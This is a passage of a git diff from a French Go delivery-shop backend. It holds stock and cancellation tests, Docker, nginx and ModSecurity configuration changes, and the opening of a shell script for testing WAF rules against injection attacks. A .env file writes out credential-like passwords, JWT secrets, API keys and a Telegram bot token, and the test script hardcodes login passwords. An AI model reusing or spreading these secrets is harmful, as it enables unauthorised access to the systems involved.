t.Errorf("❌ approved→pending accepté : HTTP %d", code)
|
||||
}
|
||||
if code := simAdminStatus(t, id, "cancelled"); code != http.StatusConflict {
|
||||
t.Errorf("❌ annulation d'une commande approuvée acceptée : HTTP %d", code)
|
||||
}
|
||||
expectStock(t, p, 7, "commande approuvée verrouillée")
|
||||
}},
|
||||
{"12_livreur_annule_en_route", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "en_route", liv)
|
||||
code := simLivreurStatus(t, id, liv, "cancelled")
|
||||
t.Logf("HTTP %d", code)
|
||||
expectStock(t, p, 10, "livreur annule en route")
|
||||
}},
|
||||
{"13_livreur_annule_commande_livre", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "livre", liv)
|
||||
if code := simLivreurStatus(t, id, liv, "cancelled"); code != http.StatusConflict {
|
||||
t.Errorf("❌ annulation livreur d'une commande livrée : HTTP %d", code)
|
||||
}
|
||||
expectStock(t, p, 7, "livreur annule une commande déjà livrée")
|
||||
}},
|
||||
{"14_livreur_annule_commande_approved", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "approved", liv)
|
||||
if code := simLivreurStatus(t, id, liv, "cancelled"); code != http.StatusConflict {
|
||||
t.Errorf("❌ annulation livreur d'une commande approuvée : HTTP %d", code)
|
||||
}
|
||||
expectStock(t, p, 7, "livreur annule une commande approuvée")
|
||||
}},
|
||||
{"15_livreur_annule_rouvre_annule", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "assigned", liv)
|
||||
simLivreurStatus(t, id, liv, "cancelled")
|
||||
if code := simLivreurStatus(t, id, liv, "assigned"); code != http.StatusConflict {
|
||||
t.Errorf("❌ livreur cancelled→assigned accepté : HTTP %d", code)
|
||||
}
|
||||
simLivreurStatus(t, id, liv, "cancelled")
|
||||
expectStock(t, p, 10, "livreur annule / rouvre / annule")
|
||||
}},
|
||||
{"15b_livreur_transitions_dans_l_ordre", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "assigned", liv)
|
||||
steps := []struct {
|
||||
status string
|
||||
want int
|
||||
}{
|
||||
{"arrived", http.StatusConflict},
|
||||
{"livre", http.StatusConflict},
|
||||
{"en_route", http.StatusOK},
|
||||
{"en_route", http.StatusOK},
|
||||
{"livre", http.StatusConflict},
|
||||
{"arrived", http.StatusOK},
|
||||
{"en_route", http.StatusConflict},
|
||||
{"livre", http.StatusOK},
|
||||
{"cancelled", http.StatusConflict},
|
||||
}
|
||||
for _, st := range steps {
|
||||
if code := simLivreurStatus(t, id, liv, st.status); code != st.want {
|
||||
t.Errorf("❌ → %s : HTTP %d, attendu %d (statut=%s)", st.status, code, st.want, commandStatus(t, id))
|
||||
} else {
|
||||
t.Logf("✅ → %s : HTTP %d", st.status, code)
|
||||
}
|
||||
}
|
||||
expectStock(t, p, 7, "livraison complète")
|
||||
}},
|
||||
{"16_livreur_puis_admin_annulent", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "assigned", liv)
|
||||
simLivreurStatus(t, id, liv, "cancelled")
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 10, "livreur puis admin annulent")
|
||||
}},
|
||||
{"17_suppression_article", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
var itemID int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ?`, id).Scan(&itemID)
|
||||
testDB.DeleteCommandItem(id, itemID)
|
||||
expectStock(t, p, 10, "article supprimé de la commande")
|
||||
}},
|
||||
{"18_suppression_article_puis_annulation", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
var itemID int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ?`, id).Scan(&itemID)
|
||||
testDB.DeleteCommandItem(id, itemID)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 10, "article supprimé puis commande annulée")
|
||||
}},
|
||||
{"19_suppression_commande_annulee", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
testDB.DeleteCommandAtomic(id, "admin", "admin")
|
||||
expectStock(t, p, 10, "commande annulée puis supprimée")
|
||||
}},
|
||||
{"20_suppression_commande_rouverte", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
simAdminStatus(t, id, "pending")
|
||||
testDB.DeleteCommandAtomic(id, "admin", "admin")
|
||||
expectStock(t, p, 10, "commande annulée, rouverte puis supprimée")
|
||||
}},
|
||||
{"21_crypto_echec_creation_paiement", func(t *testing.T, u string, p int) {
|
||||
// Reproduit ValidateBasket : commande créée en 'pending', NowPayments échoue,
|
||||
// CancelCryptoCommand est appelé avant le passage en 'pending_payment'.
|
||||
id := simCheckout(t, u, p, 3)
|
||||
err := testDB.CancelCryptoCommand(id)
|
||||
t.Logf("CancelCryptoCommand : err=%v, statut=%s", err, commandStatus(t, id))
|
||||
expectStock(t, p, 10, "paiement crypto jamais initié")
|
||||
}},
|
||||
{"22_crypto_expire", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "pending_payment", "")
|
||||
testDB.CancelCryptoCommand(id)
|
||||
testDB.CancelCryptoCommand(id)
|
||||
expectStock(t, p, 10, "paiement expiré (webhook + cron)")
|
||||
}},
|
||||
{"23_crypto_admin_annule_puis_expire", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "pending_payment", "")
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
testDB.CancelCryptoCommand(id)
|
||||
expectStock(t, p, 10, "admin annule puis paiement expire")
|
||||
}},
|
||||
{"24_recompense_crypto_expire_libere_points", func(t *testing.T, u string, p int) {
|
||||
testDB.GDB.Exec(`UPDATE clients SET points_redeemed = '{"pool_0":1}' WHERE username = ?`, u)
|
||||
testDB.GDB.Exec(`INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
||||
VALUES (?, ?, 1, 0, true, 'pool_0', NOW())`, u, p)
|
||||
id := simCheckout(t, u, p, 2)
|
||||
setStatus(t, id, "pending_payment", "")
|
||||
testDB.CancelCryptoCommand(id)
|
||||
expectStock(t, p, 10, "commande avec récompense, paiement expiré")
|
||||
if n := redeemed(t, u, "pool_0"); n != 0 {
|
||||
t.Errorf("❌ points_redeemed.pool_0=%d après expiration : la récompense est perdue", n)
|
||||
} else {
|
||||
t.Logf("✅ récompense rendue")
|
||||
}
|
||||
}},
|
||||
{"25_recompense_meme_produit", func(t *testing.T, u string, p int) {
|
||||
testDB.GDB.Exec(`INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
||||
VALUES (?, ?, 1, 0, true, 'pool_0', NOW())`, u, p)
|
||||
id := simCheckout(t, u, p, 2)
|
||||
expectStock(t, p, 7, "2 payés + 1 récompense")
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
expectStock(t, p, 10, "annulation")
|
||||
}},
|
||||
{"26_ancien_front_edite_produit_avec_stock_perime", func(t *testing.T, u string, p int) {
|
||||
// L'admin ouvre la fiche (stock affiché 10), une vente passe, il enregistre.
|
||||
stale := productStock(t, p)
|
||||
simCheckout(t, u, p, 3)
|
||||
cat := newTestCategory(t, "sim26")
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"name": testProductPrefix + "sim26", "category": cat, "description": "renommé",
|
||||
"stock": stale, "unit": "u", "prices": []map[string]any{{"quantity": 1, "price": 10}},
|
||||
})
|
||||
c, rec := jsonStockContext("admin", body, p)
|
||||
handlers.UpdateProduct(c)
|
||||
t.Logf("UpdateProduct : HTTP %d", rec.Code)
|
||||
expectStock(t, p, 7, "édition de la fiche sans toucher au stock pendant une vente")
|
||||
}},
|
||||
{"26b_admin_edite_produit_sans_envoyer_le_stock", func(t *testing.T, u string, p int) {
|
||||
// Nouveau panel admin : le stock n'est plus envoyé s'il n'a pas été modifié.
|
||||
simCheckout(t, u, p, 3)
|
||||
cat := newTestCategory(t, "sim26b")
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"name": testProductPrefix + "sim26b", "category": cat, "description": "renommé",
|
||||
"unit": "u", "prices": []map[string]any{{"quantity": 1, "price": 10}},
|
||||
})
|
||||
c, rec := jsonStockContext("admin", body, p)
|
||||
handlers.UpdateProduct(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("UpdateProduct : HTTP %d %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
expectStock(t, p, 7, "édition de la fiche pendant une vente, stock non envoyé")
|
||||
}},
|
||||
{"27_derniere_unite_concurrente", func(t *testing.T, u string, p int) {
|
||||
testDB.SetProductStock(p, 1)
|
||||
users := []string{u, newTestClient(t, "sim27_b"), newTestClient(t, "sim27_c"), newTestClient(t, "sim27_d")}
|
||||
for _, x := range users {
|
||||
testDB.AddToBasket(x, p, 1)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
ok := 0
|
||||
for _, x := range users {
|
||||
wg.Add(1)
|
||||
go func(x string) {
|
||||
defer wg.Done()
|
||||
if _, err := testDB.CreateCommandWithAddress(x, "1 rue de test"); err == nil {
|
||||
mu.Lock()
|
||||
ok++
|
||||
mu.Unlock()
|
||||
}
|
||||
}(x)
|
||||
}
|
||||
wg.Wait()
|
||||
if ok != 1 {
|
||||
t.Errorf("❌ %d commandes acceptées pour 1 unité", ok)
|
||||
} else {
|
||||
t.Logf("✅ 1 seule commande acceptée sur 4")
|
||||
}
|
||||
expectStock(t, p, 0, "dernière unité")
|
||||
}},
|
||||
{"28_annulations_concurrentes_tous_roles", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "assigned", liv)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < 3; i++ {
|
||||
wg.Add(3)
|
||||
go func() { defer wg.Done(); testDB.CancelCommandAtomic(id, u, "test", true) }()
|
||||
go func() { defer wg.Done(); testDB.CancelCommandByAdminAtomic(id) }()
|
||||
go func() { defer wg.Done(); testDB.CancelDeliveryByLivreurAtomic(id) }()
|
||||
}
|
||||
wg.Wait()
|
||||
expectStock(t, p, 10, "9 annulations simultanées client/admin/livreur")
|
||||
}},
|
||||
}
|
||||
|
||||
for _, sc := range scenarios {
|
||||
t.Run(sc.name, func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
user := newTestClient(t, "sim_"+sc.name)
|
||||
pid := newTestProduct(t, "sim_"+sc.name, 10)
|
||||
sc.run(t, user, pid)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,126 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"gestion/handlers"
|
||||
"math"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// L'admin passe une fiche de « 1 kg » à « 1000 g » alors que des paniers et commandes existent.
|
||||
|
||||
func newKgProduct(t *testing.T, name string) (int, string) {
|
||||
t.Helper()
|
||||
cat := newTestCategory(t, "unit_"+name)
|
||||
id := newTestProduct(t, name, 1)
|
||||
testDB.GDB.Exec(`UPDATE products SET unit = 'kg', category = ? WHERE id = ?`, cat, id)
|
||||
testDB.GDB.Exec(`DELETE FROM product_prices WHERE product_id = ?`, id)
|
||||
testDB.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, 0.25, 30, true), (?, 0.5, 55, true), (?, 1, 100, true)`, id, id, id)
|
||||
return id, cat
|
||||
}
|
||||
|
||||
func adminEditProductCode(t *testing.T, productID int, cat, unit string) (int, string) {
|
||||
t.Helper()
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"name": testProductPrefix + "unit", "category": cat, "description": "fiche test", "unit": unit,
|
||||
"prices": []map[string]any{{"quantity": 250, "price": 30, "active_price": true}, {"quantity": 500, "price": 55, "active_price": true}, {"quantity": 1000, "price": 100, "active_price": true}},
|
||||
})
|
||||
c, rec := jsonStockContext("admin", body, productID)
|
||||
handlers.UpdateProduct(c)
|
||||
return rec.Code, rec.Body.String()
|
||||
}
|
||||
|
||||
func productUnit(t *testing.T, productID int) string {
|
||||
var u string
|
||||
testDB.GDB.Raw(`SELECT unit FROM products WHERE id = ?`, productID).Scan(&u)
|
||||
return u
|
||||
}
|
||||
|
||||
func TestSimulationChangementUnite(t *testing.T) {
|
||||
t.Run("A_changement_refuse_si_panier_ou_commande_en_cours", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newKgProduct(t, "unitA")
|
||||
paul := newTestClient(t, "unit_paul")
|
||||
paulCmd, err := checkout(paul, map[int]float64{p: 0.25}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("commande Paul : %v", err)
|
||||
}
|
||||
lea := newTestClient(t, "unit_lea")
|
||||
testDB.AddToBasket(lea, p, 0.5)
|
||||
|
||||
code, body := adminEditProductCode(t, p, cat, "g")
|
||||
if code != 409 || productUnit(t, p) != "kg" {
|
||||
t.Errorf("❌ changement kg → g accepté avec un panier et une commande en cours : HTTP %d, unité=%s", code, productUnit(t, p))
|
||||
} else {
|
||||
t.Logf("✅ refusé : %s", body)
|
||||
}
|
||||
|
||||
testDB.CreateCommandWithAddress(lea, "1 rue de test")
|
||||
testDB.CancelCommandAtomic(paulCmd, paul, "test", false)
|
||||
if got := productStock(t, p); got != 0.5 {
|
||||
t.Errorf("❌ stock=%.3f kg, attendu 0,5 kg", got)
|
||||
} else {
|
||||
t.Logf("✅ stock=0,500 kg après la commande de Léa (500 g) et l'annulation de Paul (250 g)")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("B_changement_refuse_tant_qu_une_commande_est_en_route", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newKgProduct(t, "unitB")
|
||||
u := newTestClient(t, "unit_route")
|
||||
id, _ := checkout(u, map[int]float64{p: 0.25}, []int{p})
|
||||
setStatus(t, id, "en_route", testUserPrefix+"liv")
|
||||
if code, _ := adminEditProductCode(t, p, cat, "g"); code != 409 {
|
||||
t.Errorf("❌ changement accepté avec une commande en route : HTTP %d", code)
|
||||
} else {
|
||||
t.Logf("✅ refusé avec une commande en route")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("C_changement_autorise_sans_panier_ni_commande_en_cours", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newKgProduct(t, "unitC")
|
||||
u := newTestClient(t, "unit_done")
|
||||
id, _ := checkout(u, map[int]float64{p: 0.25}, []int{p})
|
||||
setStatus(t, id, "approved", "")
|
||||
u2 := newTestClient(t, "unit_cancel")
|
||||
id2, _ := checkout(u2, map[int]float64{p: 0.25}, []int{p})
|
||||
testDB.CancelCommandAtomic(id2, u2, "test", false)
|
||||
|
||||
if code, body := adminEditProductCode(t, p, cat, "g"); code != 200 || productUnit(t, p) != "g" {
|
||||
t.Errorf("❌ changement refusé alors que tout est terminé : HTTP %d %s", code, body)
|
||||
} else {
|
||||
t.Logf("✅ unité changée en g (seulement une commande approuvée et une annulée)")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("D_meme_unite_toujours_modifiable", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newKgProduct(t, "unitD")
|
||||
u := newTestClient(t, "unit_same")
|
||||
testDB.AddToBasket(u, p, 0.5)
|
||||
if code, body := adminEditProductCode(t, p, cat, "kg"); code != 200 {
|
||||
t.Errorf("❌ modification sans changer l'unité refusée : HTTP %d %s", code, body)
|
||||
} else {
|
||||
t.Logf("✅ fiche modifiée sans changer l'unité malgré un panier en cours")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("E_produit_en_kg_precision_au_gramme", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newKgProduct(t, "unitE")
|
||||
testDB.GDB.Exec(`INSERT INTO product_prices (product_id, quantity, price, active_price) VALUES (?, 0.001, 0.1, true), (?, 0.125, 15, true)`, p, p)
|
||||
real := 1000.0
|
||||
for i, q := range []float64{0.125, 0.001, 0.001, 0.001, 0.125} {
|
||||
u := newTestClient(t, "unitE_"+string(rune('a'+i)))
|
||||
if _, err := checkout(u, map[int]float64{p: q}, []int{p}); err != nil {
|
||||
t.Fatalf("vente %.3f kg : %v", q, err)
|
||||
}
|
||||
real -= q * 1000
|
||||
t.Logf("vente %.0f g → stock app=%.0f g, réel=%.0f g", q*1000, productStock(t, p)*1000, real)
|
||||
}
|
||||
if got := productStock(t, p) * 1000; math.Abs(got-real) > 1e-6 {
|
||||
t.Errorf("❌ app=%.0f g, réel=%.0f g (écart %+.0f g)", got, real, got-real)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
DB_HOST=postgres
|
||||
DB_PORT=5432
|
||||
DB_USER=postgres
|
||||
DB_PASSWORD=1SWDxH20rV7K2Uc2PNlwCaCxfVZEtKomF0CK9OMh
|
||||
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
|
||||
DB_NAME=gestion_db
|
||||
DB_SSLMODE=disable
|
||||
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
|
||||
@@ -9,7 +9,7 @@ USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
|
||||
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
|
||||
REDIS_HOST=redis
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=k6UYX9RtuXJVV1HUeefbSukMcSwjvVgRsh2qJGPh
|
||||
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
|
||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
|
||||
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
|
||||
@@ -24,3 +24,11 @@ BACKEND_LINK_SECRET=change_me_internal_secret
|
||||
API_PORT=8080
|
||||
FRONTEND_PORT=5173
|
||||
GIN_MODE=release
|
||||
# STORAGE_DRIVER=local (defaut, stockage disque via le volume backend_uploads) ou s3 (RustFS)
|
||||
STORAGE_DRIVER=local
|
||||
# Requis uniquement si STORAGE_DRIVER=s3
|
||||
S3_REGION=us-east-1
|
||||
S3_BUCKET=
|
||||
S3_ENDPOINT=
|
||||
RUSTFS_ACCESS_KEY=
|
||||
RUSTFS_SECRET_KEY=
|
||||
@@ -42,7 +42,7 @@ COPY --from=builder /app/server .
|
||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||
|
||||
# Copier l'entrypoint
|
||||
COPY docker-prod/backend/entrypoint.sh .
|
||||
COPY docker-pre-prod/backend/entrypoint.sh .
|
||||
RUN chmod +x entrypoint.sh
|
||||
|
||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||
@@ -66,8 +66,8 @@ USER root
|
||||
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
|
||||
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
|
||||
|
||||
COPY docker-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
COPY docker-pre-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker-pre-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
|
||||
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||
|
||||
@@ -9,21 +9,6 @@ SecRule REQUEST_URI "@streq /api/v2/admin/protected/products" \
|
||||
ctl:ruleRemoveById=920120,\
|
||||
ctl:ruleRemoveById=920121"
|
||||
|
||||
SecRule REQUEST_URI "@rx ^/api/v2/admin/protected/products(?:/[0-9]+)?$" \
|
||||
"id:399003,phase:1,nolog,pass,\
|
||||
ctl:ruleRemoveTargetById=932236;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:name,\
|
||||
ctl:ruleRemoveTargetById=932236;ARGS:description,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:description,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:description,\
|
||||
ctl:ruleRemoveTargetById=932236;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932236;ARGS:json.description,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.description,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.description"
|
||||
|
||||
SecRule REQUEST_URI "@beginsWith /uploads/" \
|
||||
"id:1000,\
|
||||
phase:1,\
|
||||
@@ -141,20 +141,6 @@ server {
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
location = /webhook/nowpayement {
|
||||
limit_except POST { deny all; }
|
||||
|
||||
set $upstream_backend http://backend:8080;
|
||||
proxy_pass $upstream_backend;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Connection "";
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------
|
||||
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
|
||||
# ---------------------------------------------------
|
||||
@@ -3,7 +3,7 @@ services:
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
image: xor1234/backend-mln:latest
|
||||
image: xor1234/backend-mln:pre-prod
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
@@ -35,15 +35,22 @@ services:
|
||||
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
|
||||
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
|
||||
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
|
||||
- STORAGE_DRIVER=${STORAGE_DRIVER:-local}
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Web (React/Vite — servi en HTTP interne)
|
||||
# =========================================================
|
||||
frontend:
|
||||
image: xor1234/frontend-mln:latest
|
||||
image: xor1234/frontend-mln:pre-prod
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
networks:
|
||||
@@ -52,7 +59,7 @@ services:
|
||||
- backend
|
||||
|
||||
waf:
|
||||
image: xor1234/backend-mln:waf
|
||||
image: xor1234/backend-mln:waf-pre-prod
|
||||
container_name: gestion-waf
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
@@ -77,6 +84,66 @@ services:
|
||||
- backend
|
||||
- frontend
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# LBTelegram — Gateway Telegram load balancer
|
||||
# =========================================================
|
||||
@@ -16,7 +16,7 @@ RUN npm run build
|
||||
# =========================================================
|
||||
FROM nginx:alpine AS runtime
|
||||
|
||||
COPY docker-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||
COPY docker-pre-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
|
||||
|
||||
COPY --from=builder /app/dist /usr/share/nginx/html
|
||||
|
||||
Executable
+610
@@ -0,0 +1,610 @@
|
||||
#!/bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
|
||||
# =============================================================================
|
||||
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
|
||||
# Usage: ./test-rules.sh
|
||||
# =============================================================================
|
||||
|
||||
# Couleurs pour l'affichage
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
PURPLE='\033[0;35m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m' # No Color
|
||||
BOLD='\033[1m'
|
||||
|
||||
# Configuration
|
||||
API_BASE_URL="http://172.20.167.237"
|
||||
|
||||
# Credentials Client
|
||||
CLIENT_USERNAME="salut"
|
||||
CLIENT_PASSWORD="salut1234_"
|
||||
CLIENT_TOKEN=""
|
||||
|
||||
# Credentials Admin
|
||||
ADMIN_USERNAME="admin_1768505094"
|
||||
ADMIN_PASSWORD="AdminPass123!"
|
||||
ADMIN_TOKEN=""
|
||||
|
||||
TOTAL_TESTS=0
|
||||
PASSED_TESTS=0
|
||||
FAILED_TESTS=0
|
||||
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
|
||||
|
||||
# =============================================================================
|
||||
# Fonctions Utilitaires
|
||||
# =============================================================================
|
||||
|
||||
print_header() {
|
||||
echo -e "\n${BOLD}${CYAN}========================================${NC}"
|
||||
echo -e "${BOLD}${CYAN}$1${NC}"
|
||||
echo -e "${BOLD}${CYAN}========================================${NC}\n"
|
||||
}
|
||||
|
||||
print_section() {
|
||||
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
|
||||
}
|
||||
|
||||
print_test() {
|
||||
echo -e "${YELLOW}[TEST] $1${NC}"
|
||||
}
|
||||
|
||||
print_success() {
|
||||
((PASSED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_fail() {
|
||||
((FAILED_TESTS++))
|
||||
((TOTAL_TESTS++))
|
||||
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
|
||||
}
|
||||
|
||||
print_info() {
|
||||
echo -e "${CYAN}ℹ INFO${NC} - $1"
|
||||
}
|
||||
|
||||
print_warning() {
|
||||
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
|
||||
}
|
||||
|
||||
print_response() {
|
||||
echo -e "${PURPLE}📄 Response:${NC} $1"
|
||||
}
|
||||
|
||||
# Fonction pour effectuer une requête HTTP avec token client
|
||||
http_test_client() {
|
||||
local method=$1
|
||||
local endpoint=$2
|
||||
local data=$3
|
||||
local expected_code=$4
|
||||
local description=$5
|
||||
local extra_headers=$6
|
||||
|
||||
print_test "$description"
|
||||
|
||||
if [ -z "$data" ]; then
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
else
|
||||
response=$(curl -s -w "\n%{http_code}" -X "$method" \
|
||||
-H "Authorization: Bearer $CLIENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
$extra_headers \
|
||||
-d "$data" \
|
||||
"${API_BASE_URL}${endpoint}" 2>&1)
|
||||
fi
|
||||
|
||||
http_code=$(echo "$response" | tail -n1)
|
||||
body=$(echo "$response" | sed '$d')
|
||||
|
||||
